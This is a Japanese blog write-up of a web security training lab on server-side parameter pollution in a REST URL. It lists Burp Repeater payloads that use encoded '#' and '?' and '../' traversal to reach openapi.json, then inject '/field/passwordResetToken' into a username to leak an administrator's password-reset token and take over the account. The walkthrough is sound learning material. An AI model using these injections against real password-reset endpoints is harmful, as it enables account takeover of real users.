以下の内容はhttps://cysec148.hatenablog.com/entry/2025/09/16/075754より取得しました。


Lab: Exploiting server-side parameter pollution in a REST URL

Hello there, ('ω')ノ

なぜ成立する?(まず“絵”を持つ)

アプリは、忘れたパスワード処理でサーバー側から内部APIにHTTPリクエストを発行しています。ここで username がそのまま URLパスの一部に使われていると、

  • ?(クエリ開始)や #(フラグメント開始)で後続を切り落とし
  • ./../パスを相対移動
  • /field/... のような追加セグメントを**“サーバーが自分で付けたもの”**に見せかける …が可能になります。これが Server-Side Parameter Pollution in a REST URL の正体です。

フェーズA:観察と仮説づくり(Burpで最小実験)

  1. 管理者のパスワードリセットを開始

  2. ブラウザで Forgot password → ユーザー名 administrator でトリガー

  3. Proxy > HTTP history に POST /forgot-password が出るので Send to Repeater

  4. ベースラインの再現性確認

  5. Repeater でそのまま Send → 毎回同じ応答(OK)

  6. 特殊文字で“パスに入っている”気配を嗅ぐ

  7. username=administrator%23# を URLエンコード)→ 応答に Invalid route# が“パスの末尾切り”として効いた示唆

  8. username=administrator%3F?)→ これも Invalid route? が“クエリ開始”としてパスを切った示唆
  9. username=./administrator元の応答に戻る./ は同じ場所
  10. username=../administratorInvalid route../ でパスを一段上に移動して壊れた示唆

ここまでの結論:サーバーは username内部URLのパスに入れている可能性が高い。


フェーズB:内部API定義(OpenAPI等)へパス遡上

  1. ルートを外しに行く

  2. username=../%23Invalid route

  3. username=../../%23 →(まだ)
  4. username=../../../%23 →(まだ)
  5. username=../../../../%23Not foundAPIルートより外側まで出られたサイン

  6. API定義に当てる(よくあるファイル名)

  7. username=../../../../openapi.json%23 → エラー文に APIエンドポイントのヒント**/api/internal/v1/users/{username}/field/{field}**{field} という可変セグメントがあるのが重要


フェーズC:パス汚染で“別フィールド”を注入

  1. まずはダミーで反応を見る

  2. username=administrator/field/foo%23エラー(サポートは email のみ) → サーバーが /field/{…} を解釈している確証

  3. username=administrator/field/email%23元の応答(エラー消失) → email は有効

  4. JS から“本命フィールド”を発見

  5. Proxy > HTTP history で /static/js/forgotPassword.js を開く

  6. 中に /forgot-password?passwordResetToken=${resetToken} を発見 → passwordResetToken というフィールド名が存在

  7. フィールド差し替え → バージョン違いでエラー

  8. username=administrator/field/passwordResetToken%23エラーこのアプリが指している API “internal/v?” では未サポートの可能性

  9. APIバージョンを“v1”に書き換えて叩く

  10. username=../../v1/users/administrator/field/passwordResetToken%23パスワードリセットトークンが返るv1 ではサポートトークン控える


フェーズD:管理者のパスワードをリセット → ログイン

  1. トークンでリセット画面へ

  2. ブラウザで:/forgot-password?passwordResetToken=<控えたトークン>

  3. 新しいパスワードを設定

  4. 管理者でログイン → Admin パネルから carlos 削除

  5. これでラボクリア


重要ポイントの“なぜ”

  • なぜ %23(#)や %3F(?)で手応えが出る? サーバー側が usernameURLのパスに埋めて内部HTTPリクエストを作る実装だと、?#パス切断フラグメント開始としてルータ解析に影響します。
  • なぜ ../ で外へ出られる? 相対パス正規化が入るため。../ を繰り返すと APIのルート外へ到達し、openapi.json のような定番の定義ファイルに当てられることがあります。
  • なぜ username に /field/... を入れると解釈される? 実装が GET /api/internal/v1/users/${username} のように文字列結合で内部URLを組み立てていると、username/field/... を足すだけで、“本来はアプリが追加すべきパスセグメント”ユーザーが先回り挿入できます。これが Server-Side Parameter Pollution in REST URL です。

そのまま使える Burp Repeater 入力例(要点だけ)

  • 観察: username=administrator%23 → Invalid route username=administrator%3F → Invalid route username=./administrator → 元の応答 username=../administrator → Invalid route
  • ルート外へ: username=../../../../%23 → Not found username=../../../../openapi.json%23 → エンドポイント文字列が漏れる
  • フィールド注入: username=administrator/field/foo%23 → エラー(emailのみ) username=administrator/field/email%23 → 元の応答 username=administrator/field/passwordResetToken%23 → バージョン不一致エラー username=../../v1/users/administrator/field/passwordResetToken%23トークン返却

トラブル時のチェックリスト

  • URLエンコード忘れ#%23?%3F。素で送ると手前で切れる
  • 相対パスの段数../../../../ はラボ環境での例。Not found が出るまで一段ずつ増やす
  • JSの場所/static/js/forgotPassword.jsHTTP history から開いて resetToken 文字列 を必ず確認
  • APIバージョン/api/internal/v? がダメでも /api/v1/... に寄せると通ることがある
  • 403/401:この手の内部呼び出しはサーバー側権限で行われるため、username の形だけを調整すればOK(追加Cookie不要)

まとめ(判断の型)

  • 観察username がパスに入る“匂い”を # ? ./ ../ で確かめる
  • 探索../ でAPIルートから抜け、openapi.json 等で仕様を盗む
  • 注入/field/{field}username に先回り挿入(email → passwordResetTokenへ)
  • 迂回APIバージョン../../v1/... で強制してトークン入手
  • 実行:トークンで管理者のパス再設定→ログイン→carlos削除

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/09/16/075754より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14